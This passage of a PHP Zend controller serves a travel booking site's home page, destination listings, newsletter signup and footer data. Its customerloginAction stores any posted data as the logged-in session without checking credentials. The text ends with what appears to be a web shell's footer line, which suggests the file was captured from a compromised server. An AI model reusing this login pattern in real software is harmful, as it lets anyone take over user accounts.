                'PkgSysId' => $value['PkgSysId'],
                'GTXPkgId' => $value['GTXPkgId'],
                'defaultCategoryId' => $defaultCategoryId,
                'defaultCategory' => $defaultCategory,
                'tourtype' => $defaultTourType,
                'TPId' => $TPId,
                'PackageType' => $value['PackageType'],
                'mp' => $MPType,
                'Countries' => $value['Countries'],
                'BookingValidUntil' => $value['BookingValidUntil'],
                'packageNameUrl' => $value['packageNameUrl'],
                'IsFixedDeparturePackage' => $LongJsonInfo['package']['IsFixedDeparturePackage'],
            ];
            //   echo '<pre>';print_r($toursFinalPackage);echo '</pre>';die;
            if($LongJsonInfo['package']['IsFixedDeparturePackage'] == 1){
                $toursFinalFix[] = $toursFinalPackage;    
            }else{
                $toursFinal[] = $toursFinalPackage;    
            }
           
        }
      
        $this->view->destinationsInter = $destinationsInterArrFinal;
        $this->view->baseUrl    = $this->baseUrl;
        $this->view->destinations = $DestinationsArrFinal;
         //    echo '<pre>';print_r($destinationsInterArrFinal);echo '</pre>';die;
              
        $this->view->tollfreenumber  = $this->tollfreenumber;
    


        $testimonials  = $this->objMdl->rv_select_all('tbl_testimonials' , ['*'] , [ 'status'=>1,'IsFeatured'=>1 ] ,  ['id'=>'ASC'],3);
        //$ourPartners  = $this->objMdl->rv_select_all( 'tbl_ourpartner' , ['*'] , [ 'status'=>1 ] ,  ['id'=>'ASC']);
        $homebannerDetail  = $this->objMdl->rv_select_all('tb_homebanner_detail' , ['*'] , [ 'status'=>1 ] ,  ['banner_id'=>'ASC']);
        $homeexplorebannerDetail  = $this->objMdl->rv_select_all('tbl_home_explorebanner' , ['*'] , [ 'status'=>1 ] ,  ['banner_id'=>'ASC']);
        $exploreIcon  = $crud->rv_select_all("tbl_explore_icon", ['*'], ['status'],['Title' => 'ASC']);
 //echo '<pre>';print_r($exploreIcon);echo '</pre>';die;
        $this->view->homebannerDetail    = $homebannerDetail;
        $this->view->homeexplorebannerDetail    = $homeexplorebannerDetail;
       
        foreach($exploreIcon as $eKey => $eVal){
            $destina = trim($eVal['destination']); 
            $destinaArr = array();
            
            $desArr = $this->objMdl->rv_select_all_destinationByIds('tb_tbb2c_destinations',['Image','Title','DesSysId','Activities','DesId','Countries','exploreHomeDestination'],['Title'],'DesId',$destina);  
           
            $exploreIconFinal['exolore'][] = [
                'Title'=>$eVal['Title'],
                'Icon'=>$eVal['Icon'],
                'exploreImage1'=>$eVal['exploreImage1'],
                'exploreImage2'=>$eVal['exploreImage2'],
                'exploreImage3'=>$eVal['exploreImage3'],
                'exploreImage4'=>$eVal['exploreImage4'],
                'exploreImage5'=>$eVal['exploreImage5'],
                'id'=>$eVal['id'],
             ]; 
            foreach($desArr as $ddkey => $ddVal){
//                $exploreIconFinal['destData'][$eKey][] = $ddVal['Title']; 
//                $exploreIconFinal['destData'][$eKey][] = $ddVal['Title']; 
 //               $exploreIconFinal['destData'][$eKey][] = $ddVal['Title']; 
                  $exploreHomeDestinationOld[$ddVal['DesId']] = [
                    'Title'=> $ddVal['Title'],
                    'DesSysId'=> $ddVal['DesSysId'],
                    'Image'=> $ddVal['Image'],
                    'Countries'=> $ddVal['Countries'],
                    'exploreHomeDestination'=> $ddVal['exploreHomeDestination'],
                    'Activities'=> $ddVal['Activities'],
                ];   
            }  
            $destinaArr = explode(',',$destina); 
            foreach($destinaArr as $desnKey => $desnVal){
                $exploreHomeDestination[$eKey][] = $exploreHomeDestinationOld[$desnVal];    
            }
            
        }
        
         $this->view->exploreIcon    = $exploreIconFinal;
       
        $this->view->exploreHomeDestination1 = $exploreHomeDestination[0];
        $this->view->exploreHomeDestination2 = $exploreHomeDestination[1];
        $this->view->exploreHomeDestination3 = $exploreHomeDestination[2];
        $this->view->exploreHomeDestination4 = $exploreHomeDestination[3];
        $this->view->exploreHomeDestination5 = $exploreHomeDestination[4];
        $this->view->exploreHomeDestination6 = $exploreHomeDestination[5];
        $this->view->exploreHomeDestination7 = $exploreHomeDestination[6];
        //$this->view->ourPartners    = $ourPartners;
        $this->view->testimonials    = $testimonials;
        $this->view->baseUrl    = $this->baseUrl;
        $resullatestBlog  = $this->objMdl->rv_select_all('tbl_blog', ['*'],  ['IsMarkForDel'=>0,'status'=>1], ['BlogId'=>'DESC'],'4');
        $finalPackageThemes = $this->objMdl->rv_select_all('tbl_pack_type', ['packType', 'Title','label','Icon','largeIcon'], [ 'IsActive' => 1, 'isMarkForDel' => 0], ['packType' => 'ASC']);
      //  echo '<pre>'; print_r(($finalPackageThemes)); die;
        $this->view->finalPackageThemes = $finalPackageThemes;
        $this->view->resullatestBlog    = $resullatestBlog;
        $this->view->toursFinal = $toursFinal;
        $this->view->toursFinalFix = $toursFinalFix;

        $this->view->finalDestinationAll = $finalDestinationAll;
        $this->view->finalinterDestinationAll = $finalinterDestinationAll;
        $this->view->MobileDetect = $this->objHelperGeneral->getDevice();
}

    public function saveLetterAction()
    {
         $param = $this->getRequest()->getParams();
         $date = new Zend_Date();
        $currentDate = $date->get('YYYY-MM-dd HH:mm:ss');
         $email = $param['email'];

        $newsletter = new Travel_Model_PackagesMaster();

       $savePageData = [

         'created_date' => $currentDate,
         'news_letter_email' => $email,
     ];

       $resultset  = $newsletter->checkLetter("tb_tbb2c_newsletter", ['*'], ['news_letter_email'=>$savePageData['news_letter_email']]);

        if(isset($resultset) && !empty($resultset)){
            $response = array('success' => false, 'msg' => 'This Email Id Already Exists!!!' );
            echo json_encode($response);
            exit;
        }
        else{
            $returnId = $newsletter->sendNewsLetter('tb_tbb2c_newsletter', $savePageData);
            if($returnId){
                $response = array('success' => true, 'msg' => 'Your query has been submitted successfully!' );
                echo json_encode($response);
                exit;
            }
        }

     }

     
    public function autosuggestdesAction()
    {
        try {
            $arrResponse = array();
            if ($this->getRequest()->getParam("term")) {
                $term = $this->getRequest()->getParam("term");
                $objDes = new Travel_Model_PackagesMaster();
                $arrResponse = $objDes->getDestinationAutoSuggest( $term , $this->tablename );
            }
            //print_r($arrResponse);die('okkk');
            echo json_encode($arrResponse);
            exit;
        } catch (Exception $e) {
            $response = array('success' => false, 'msg' => $e->getMessage());
            echo json_encode($response);
            exit;
        }
    }
    
    
    public function customerloginAction() {
        $request = Zend_Controller_Front::getInstance()->getRequest();
        if ($this->getRequest()->isPost()) {
            $data = $request->getPost();
            $this->_session->session = $data;
            $this->_redirect('users/index/myprofile');
        }
    }
    
    
    public function logoutAction()
    {
        $storage = new Zend_Session_Namespace('User');
        $storage->unsetAll(); 
        $this->_redirect('index');
    }


    /*
     * writeSessionPopup is used to show the request a callback popup window after interval on landing page
     */
    
    public function writeSessionPopupAction() {
        $myNamespace = new Zend_Session_Namespace('MypopSess');
        $myNamespace->setPopup = true;
        $myNamespace->session_time = time();
        exit;
    }
    
    public function displayfooterAction(){
        $finalFooterArray = array();
        $destinationsArrFinal = array();
        $desArr = array(); $socialArr = array(); $ourpartnerArr = array();
        $destinations = $this->objMdl->rv_select_all( $this->tablenameDestination , ['DesSysId','Title','Activities','Hotels','Tours','Image','Countries','CountryIds'], ['IsActive'=>1,'IsMarkForDel'=>0,'DisplayOnFooter'=>1], ['rand()'=>'']  );
        $state = $this->objMdl->rv_select_all( 'tbl_states' , ['StateSysId','title as Title','seotitle','image','startingPrice','DestDescription','Countries'], ['displayOnFooter'=>1,'IsMarkForDel'=>0], ['rand()'=>'']  );
        
        $country = $this->objMdl->rv_select_all( 'tbl_countries' , ['contSysId','title as Title','title as Countries','seotitle','image','startingPrice','DestDescription','countryId'], ['displayOnFooter'=>1,'IsMarkForDel'=>0], ['rand()'=>'']  );
        
        $destinationsArrFinal = (array_merge($destinations,$state,$country)); 
            
             
             foreach ($destinationsArrFinal as $mkey2 => $mpart2) {
                $sort2[$mkey2] = ($mpart2['Title']);
            }
            if (count($destinationsArrFinal) > 0) {
                array_multisort($sort2, SORT_ASC, $destinationsArrFinal);
            }
        
//                        echo '<pre>'; print_r(($destinationsArrFinal)); die;
        $social = $this->objMdl->rv_select_all( 'tbl_social_links' , ['id','name','link'], ['status'=>1], ['name'=>'ASC'] , 5 );
        $ourpartner = $this->objMdl->rv_select_all( 'tbl_ourpartner' , ['id','title','icon'], ['status'=>1], ['title'=>'ASC']  );
          // echo '<pre>'; print_r(($finalFooterArray)); die;
        $contactquery = $this->objMdl->rv_select_row( 'tbl_query' , ['id','email','phone','location','mobile'], ['status'=>1], ['id'=>'ASC'] , 1 );
        if($destinationsArrFinal){
            foreach ($destinationsArrFinal as $k=>$value) {
                $desArr[$k]['Title'] = $value['Title'];
                $desArr[$k]['destinationUrl'] = strtolower(Catabatic_Helper::getSeoName($value['Title']));
                $desArr[$k]['Countries'] = strtolower(Catabatic_Helper::getSeoName($value['Countries']));
                
            }
        }
        
        
//                echo '<pre>'; print_r(($desArr)); die;
        if($social){
            foreach ($social as $k=>$value) {
                $socialArr[$k]['name'] = $value['name'];
                $socialArr[$k]['link'] = $value['link'];
            }
        }
        if($ourpartner){
            foreach ($ourpartner as $k=>$value) {
                $ourpartnerArr[$k]['title'] = $value['title'];
                $ourpartnerArr[$k]['icon'] = $value['icon'];
            }
        }
        
        $finalFooterArray['footer_destination'] = $desArr;
        $finalFooterArray['social_links'] = $socialArr;
        $finalFooterArray['ourpartner'] = $ourpartnerArr;
        $finalFooterArray['contactquery'] = $contactquery;
       // echo '<pre>'; print_r(($finalFooterArray)); die;
//        $this->view->baseUrl    = $this->baseUrl;
        echo json_encode($finalFooterArray);exit;
    }
    
    public function domesticDestinationAction() {
        $this->objMdl = new Admin_Model_CRUD();
        $DestinationsArrFinal = array();
        $params  = $this->getRequest()->getParams();
            $destinations1 = $this->objMdl->rv_select_all( $this->tablenameDestination , ['DesSysId','Title','Activities','Hotels','Tours','Image','DestDescription','Countries','destinationImage'], ['IsActive'=>1,'IsMarkForDel'=>0,'CountryIds'=>101], ['Title'=>'ASC'] );
            $destinations2 = $this->objMdl->rv_select_all( $this->tablenameDestination , ['DesSysId','Title','Activities','Hotels','Tours','Image','DestDescription','Countries','destinationImage'], ['IsActive'=>1,'IsMarkForDel'=>0,'region_id'=>74,'CountryIds'=>101], ['Title'=>'ASC'] );
            $destinations = array_merge($destinations1,$destinations2);
            $stateDom = $this->objMdl->rv_select_all( 'tbl_states' , ['StateSysId','title','seotitle','image','startingPrice','DestDescription','Countries','destinationImage'], ['IsActive'=>1,'IsMarkForDel'=>0,'CountryIds'=>101], ['rand()'=>'']  );
            //$countryDom1 = $this->objMdl->rv_select_all( 'tbl_countries' , ['contSysId','title','seotitle','image','startingPrice','DestDescription','countryId','destinationImage'], ['IsMarkForDel'=>0,'countryId'=>101], ['rand()'=>'']  );
               $countryDom = $this->objMdl->rv_select_all( 'tbl_countries' , ['contSysId','title','seotitle','image','startingPrice','DestDescription','countryId','destinationImage'], ['IsActive'=>1,'IsMarkForDel'=>0,'countryId'=>101,'region_id'=>74], ['rand()'=>'']  );
         //   echo '<pre>'; print_r($countryDom); die;

         //   $countryDom = $this->objMdl->rv_select_all( 'tbl_countries', ['contSysId','title','seotitle','image','startingPrice','DestDescription','countryId','destinationImage'], ['IsMarkForDel'=>0,'region_id'=>74,'countryId'=>101], ['rand()'=>'']  );
           // echo '<pre>'; print_r($destinations); die;
            //$countryDom = (array_merge($countryDom1,$countryDom2)); 
           
            foreach ($destinations as $desKey=>$desValue) {
                $finalDestinationAll[] = [
                    'DesSysId' =>$desValue['DesSysId'],
                    'Title' => strtolower(Catabatic_Helper::getSeoName($desValue['Title'])),
                     'Label' => $desValue['Title'],
                    'startingPrice' => $desValue['Activities'],
                     'Image' => ($desValue['destinationImage'] != '') ? 'public/upload/destinations/'.$desValue['DesSysId'].'/desimages/'.$desValue['destinationImage'] : '',
                    'DestDescription' => $desValue['DestDescription'],
                    'Countries' => strtolower(Catabatic_Helper::getSeoName($desValue['Countries'])),
                ];

            }
              
             foreach ($stateDom as $stateKey1=>$stateValue1) {
            $image = ($stateValue1['destinationImage']!='') ? $stateValue1['destinationImage']:'';
            $stateArrDom[] = [
               'Title' => $stateValue1['seotitle'],
               'Label' => $stateValue1['title'],
               'startingPrice' => isset($stateValue1['startingPrice']) ?$stateValue1['startingPrice'] : '',
               'Image' => 'public/upload/state/desimages/'.$image,
               'DestDescription' => $stateValue1['DestDescription'],
               'Countries' => strtolower(Catabatic_Helper::getSeoName($stateValue1['Countries'])), 
                
                
            ];

            }
            $countryArrDom = array();
            foreach ($countryDom as $countryDomKey1=>$countryDomValue1) {
            $image = ($countryDomValue1['destinationImage'])?$countryDomValue1['destinationImage']:'0';
            $countryArrDom[] = [
               'Title' => $countryDomValue1['seotitle'],
               'Label' => $countryDomValue1['title'],
               'startingPrice' => isset($countryDomValue1['startingPrice']) ?$countryDomValue1['startingPrice'] : '',
               'Image' => ($image !='') ? 'public/upload/country/desimages/'.$image : '',
               'DestDescription' => $countryDomValue1['DestDescription'],
               'Countries' => $countryDomValue1['seotitle'], 
                
                
            ];
            }

           //   echo '<pre>'; print_r(($countryArrDom)); die;
            
            $DestinationsArrFinal = (array_merge($finalDestinationAll,$stateArrDom)); 
       //  echo '<pre>'; print_r(($DestinationsArrFinal)); die;
            foreach ($DestinationsArrFinal as $mkey1 => $mpart1) {
                $sort1[$mkey1] = ($mpart1['Title']);
            }
            if (count($DestinationsArrFinal) > 0) {
                array_multisort($sort1, SORT_ASC, $DestinationsArrFinal);
            }
//                   echo "<pre>";print_r($DestinationsArrFinal);die; 
            
//       $regionImage = $this->objMdl->getRegionImage($region);
      
        $getStaticPage = $this->objMdl->rv_select_row('tbl_static_pages' , ['*'], ['sid'=>185,'status'=>'Activate'] , ['sid'=> 'desc'] );
         $packageTheme  = $this->objMdl->rv_select_all( 'tbl_pack_type' , ['packType','Title', 'label','Icon','largeIcon','destinationIcon'] , [ 'IsActive'=>1 ] ,  ['packType'=>'ASC']);
//        echo "<pre>";print_r($packageTheme);die;
        $this->view->packageTheme  = $packageTheme;
        $this->view->baseUrl = $this->baseUrl;
        $this->view->finalDestinationAll = $DestinationsArrFinal;
        $this->view->getStaticPage = $getStaticPage;

    }
    
    
    
    public function internationalDestinationAction() {
        
        $this->objMdl = new Admin_Model_CRUD();
        
        $params  = $this->getRequest()->getParams();
            $finalDestinationAll = array();

            $destinationsInter= $this->objMdl->getInternationalDestinationAll( $this->tablenameDestination , ['DesSysId','Title','Activities','Hotels','Tours','Image','DestDescription','CountryIds','Countries','destinationImage'] );
            $stateInt = $this->objMdl->rv_select_all( 'tbl_states' , ['StateSysId','title','seotitle','image','startingPrice','DestDescription','Countries','destinationImage'], ['IsMarkForDel'=>0,'CountryIds!'=>101], ['rand()'=>'']  );
            $countryInt = $this->objMdl->rv_select_all( 'tbl_countries' , ['contSysId','title','seotitle','image','startingPrice','DestDescription','countryId','destinationImage'], ['IsMarkForDel'=>0,'countryId!'=>101,'region_id!'=>74], ['rand()'=>'']  );
        //     echo '<pre>'; print_r($destinationsInter); die;
            
                 foreach ($destinationsInter as $desKey=>$desValue) {
                $finalDestinationAll[] = [
                    'DesSysId' =>$desValue['DesSysId'],
                    'Title' => strtolower(Catabatic_Helper::getSeoName($desValue['Title'])),
                     'Label' => $desValue['Title'],
                    'startingPrice' => $desValue['Activities'],
                     'Image' => ($desValue['destinationImage'] !='') ? 'public/upload/destinations/'.$desValue['DesSysId'].'/desimages/'.$desValue['destinationImage'] : '',
                    'DestDescription' => $desValue['DestDescription'],
                    'Countries' => strtolower(Catabatic_Helper::getSeoName($desValue['Countries'])),
                ];
            }
                
                

            foreach ($countryInt as $countryIntKey1=>$countryIntValue1) {
            $image = ($countryIntValue1['destinationImage'] !='')?$countryIntValue1['destinationImage']:'';
            $countryArrInt[] = [
               'Title' => $countryIntValue1['seotitle'],
               'Label' => $countryIntValue1['title'],
               'startingPrice' => isset($countryIntValue1['startingPrice']) ?$countryIntValue1['startingPrice'] : '',
               'Image' => ($image !='') ? 'public/upload/country/desimages/'.$image : '',
               'DestDescription' => $countryIntValue1['DestDescription'],
               'Countries' =>$countryIntValue1['seotitle'], 
  
            ];
            }
            $destinationsInterArrFinal = (array_merge($finalDestinationAll,$countryArrInt)); 
            
             
             foreach ($destinationsInterArrFinal as $mkey2 => $mpart2) {
                $sort2[$mkey2] = ($mpart2['Label']);
            }
            if (count($destinationsInterArrFinal) > 0) {
                array_multisort($sort2, SORT_ASC, $destinationsInterArrFinal);
            }
 //        echo "<pre>";print_r($packageTheme);die;
        $getStaticPage = $this->objMdl->rv_select_row('tbl_static_pages' , ['*'], ['sid'=>186,'status'=>'Activate'] , ['sid'=> 'desc'] );
        
       $packageTheme  = $this->objMdl->rv_select_all( 'tbl_pack_type' , ['packType','Title', 'label','Icon','largeIcon','destinationIcon'] , [ 'IsActive'=>1 ] ,  ['packType'=>'ASC']);
       
        $this->view->packageTheme  = $packageTheme;
        $this->view->baseUrl = $this->baseUrl;
        $this->view->finalDestinationAll = $destinationsInterArrFinal;
        $this->view->getStaticPage = $getStaticPage;
       
    }
    
    
    public function getAllAjaxDestinationAction() {
        $this->_helper->layout()->disableLayout('');
     if ($this->_request->isXmlHttpRequest()) {
           
            //echo "<pre>";print_r($_REQUEST);exit;
            $type = $this->getRequest()->getParam('type');
           if(trim($type) == 'domestic'){
               $destinations1 = $this->objMdl->rv_select_all( $this->tablenameDestination , ['DesSysId','Title','Activities','Hotels','Tours','Image','DestDescription','Countries','destinationImage'], ['IsActive'=>1,'IsMarkForDel'=>0,'CountryIds'=>101], ['Title'=>'ASC']  );
               $destinations2 = $this->objMdl->rv_select_all( $this->tablenameDestination , ['DesSysId','Title','Activities','Hotels','Tours','Image','DestDescription','Countries','destinationImage'], ['IsActive'=>1,'IsMarkForDel'=>0,'region_id'=>74,'CountryIds'=>101], ['Title'=>'ASC'] );
               $destinations = array_merge($destinations1,$destinations2);
               $stateDom = $this->objMdl->rv_select_all( 'tbl_states' , ['StateSysId','title','seotitle','image','startingPrice','DestDescription','Countries','destinationImage'], ['IsActive'=>1,'IsMarkForDel'=>0,'CountryIds'=>101], ['rand()'=>'']  );
          //    echo "<pre>";print_r($destinations);exit;
            //$countryDom = $this->objMdl->rv_select_all( 'tbl_countries' , ['contSysId','title','seotitle','image','startingPrice','DestDescription','countryId','destinationImage'], ['IsMarkForDel'=>0,'countryId'=>101], ['rand()'=>'']  );
            $countryDom = $this->objMdl->rv_select_all( 'tbl_countries' , ['contSysId','title','seotitle','image','startingPrice','DestDescription','countryId','destinationImage'], ['IsActive'=>1,'IsMarkForDel'=>0,'region_id'=>74,'countryId'=>101], ['rand()'=>'']  );
           $checkDestinationDuplicate = array();
            foreach ($destinations as $desKey=>$desValue) {
             
                if(!in_array(strtolower(Catabatic_Helper::getSeoName($desValue['Title'])), $checkDestinationDuplicate)){
                       $checkDestinationDuplicate[] = strtolower(Catabatic_Helper::getSeoName($desValue['Title']));
                $finalDestinationAll[] = [
                    'DesSysId' =>$desValue['DesSysId'],
                    'Title' => strtolower(Catabatic_Helper::getSeoName($desValue['Title'])),
                     'Label' => $desValue['Title'],
                    'startingPrice' => $desValue['Activities'],
                     'Image' => ($desValue['destinationImage'] !='') ? 'public/upload/destinations/'.$desValue['DesSysId'].'/desimages/'.$desValue['destinationImage'] : '',
                    'DestDescription' => $desValue['DestDescription'],
                    'Countries' => strtolower(Catabatic_Helper::getSeoName($desValue['Countries'])),
                ];
            }
            }
           
             foreach ($stateDom as $stateKey1=>$stateValue1) {
                
                 if(!in_array($stateValue1['seotitle'], $checkDestinationDuplicate)){
                       $checkDestinationDuplicate[] = $stateValue1['seotitle'];
            $image = ($stateValue1['destinationImage'] !='')?$stateValue1['destinationImage']:'';
             //echo "<pre>";print_r($image);die;
            $stateArrDom[] = [
               'Title' => $stateValue1['seotitle'],
               'Label' => $stateValue1['title'],
               'startingPrice' => isset($stateValue1['startingPrice']) ?$stateValue1['startingPrice'] : '',
               'Image' => ($image !='') ? 'public/upload/state/desimages/'.$image : '',
               'DestDescription' => $stateValue1['DestDescription'],
               'Countries' => strtolower(Catabatic_Helper::getSeoName($stateValue1['Countries'])), 
                
                
            ];
            }
             }
             $countryArrDom = array();
            foreach ($countryDom as $countryDomKey1=>$countryDomValue1) {
            $image = ($countryDomValue1['destinationImage']!='')?$countryDomValue1['destinationImage']:'';
            $countryArrDom[] = [
               'Title' => $countryDomValue1['seotitle'],
               'Label' => $countryDomValue1['title'],
               'startingPrice' => isset($countryDomValue1['startingPrice']) ?$countryDomValue1['startingPrice'] : '',
               'Image' => ($image != '') ? 'public/upload/country/desimages/'.$image : '',
               'DestDescription' => $countryDomValue1['DestDescription'],
               'Countries' => $countryDomValue1['seotitle'], 
                
                
            ];
            }
            $DestinationsArrFinal = (array_merge($finalDestinationAll,$stateArrDom,$countryArrDom)); 
            foreach ($DestinationsArrFinal as $mkey1 => $mpart1) {
                $sort1[$mkey1] = ($mpart1['Title']);
            }
            if (count($DestinationsArrFinal) > 0) {
                array_multisort($sort1, SORT_ASC, $DestinationsArrFinal);
            }
               
            $destinations =  $DestinationsArrFinal;
               
           }else{
               $destinations= $this->objMdl->getInternationalDestinationAll( $this->tablenameDestination , ['DesSysId','Title','Activities','Hotels','Tours','Image','DestDescription','CountryIds','Countries','destinationImage'], ['IsMarkForDel'=>0,'CountryIds!'=>101], ['rand()'=>'']  );
       
            $countryInt = $this->objMdl->rv_select_all( 'tbl_countries' , ['contSysId','title','seotitle','image','startingPrice','DestDescription','countryId','destinationImage'], ['IsMarkForDel'=>0,'countryId!'=>101,'region_id!'=>74], ['rand()'=>'']  );
    
             $checkDestinationDuplicateInt = array();
              foreach ($countryInt as $countryIntKey1=>$countryIntValue1) {
                 if(!in_array($countryIntValue1['seotitle'], $checkDestinationDuplicateInt)){
                       $checkDestinationDuplicateInt[] = $countryIntValue1['seotitle'];
            $image = ($countryIntValue1['destinationImage'] !='')?$countryIntValue1['destinationImage']:'';
            $countryArrInt[] = [
               'Title' => $countryIntValue1['seotitle'],
               'Label' => $countryIntValue1['title'],
               'startingPrice' => isset($countryIntValue1['startingPrice']) ?$countryIntValue1['startingPrice'] : '',
               'Image' => ($image !='') ? 'public/upload/country/desimages/'.$image : '',
               'DestDescription' => $countryIntValue1['DestDescription'],
               'Countries' =>$countryIntValue1['seotitle'], 
  
            ];
            }
            }
                foreach ($destinations as $desKey=>$desValue) {
                  if(!in_array(strtolower(Catabatic_Helper::getSeoName($desValue['Title'])), $checkDestinationDuplicateInt)){
                       $checkDestinationDuplicateInt[] = strtolower(Catabatic_Helper::getSeoName($desValue['Title']));
                   
                $finalDestinationAll[] = [
                    'DesSysId' =>$desValue['DesSysId'],
                    'Title' => strtolower(Catabatic_Helper::getSeoName($desValue['Title'])),
                     'Label' => $desValue['Title'],
                    'startingPrice' => $desValue['Activities'],
                     'Image' => ($desValue['destinationImage'] !='') ? 'public/upload/destinations/'.$desValue['DesSysId'].'/desimages/'.$desValue['destinationImage'] : '',
                    'DestDescription' => $desValue['DestDescription'],
                    'Countries' => strtolower(Catabatic_Helper::getSeoName($desValue['Countries'])),
                ];
            }
                }
                
 
           
            $destinationsInterArrFinal = (array_merge($finalDestinationAll,$countryArrInt)); 
           // echo "<pre>";print_r($destinationsInterArrFinal);die;
             
             foreach ($destinationsInterArrFinal as $mkey2 => $mpart2) {
                $sort2[$mkey2] = ($mpart2['Label']);
            }
            if (count($destinationsInterArrFinal) > 0) {
                array_multisort($sort2, SORT_ASC, $destinationsInterArrFinal);
            } 
            $destinations = $destinationsInterArrFinal;
               
           }
//           echo "<pre>";print_r($destinationsInterArrFinal);die;
          $this->view->finalDestinationAll = $destinations;
           
        }
        
        
    }
    
    public function checkUrlAction() {
        
        if ($this->getRequest()->isGet()) {
            $this->_helper->layout()->disableLayout();
            $param = $this->getRequest()->getParams();
            
            $model = new Admin_Model_CRUD();
            $result = $model->rv_select_row($this->tablename, ['packageNameUrl','Destinations','CountryIds','Countries'], [ 'IsMarkForDel' => 0, 'IsActive' => 1, 'IsPublish' => 1, 'GTXPkgId' => $param['packageId']], ['PkgSysId' => 'DESC']);
            $packageNameUrl = $result['packageNameUrl'].'.html';
            $Destinations = explode(',', $result['Destinations']);
            $FinalDestinations = Catabatic_Helper::getSeoName($Destinations[0]);
            $Countries = Catabatic_Helper::getSeoName($result['Countries']);
            
            $redirectUrl = $this->baseUrl.'holidays/'.$Countries.'/'.$FinalDestinations.'-tour-packages/'.$packageNameUrl;
            $this->_redirect($redirectUrl);
        }
    }
    
}

Youez - 2016 - github.com/yon3zu
LinuXploit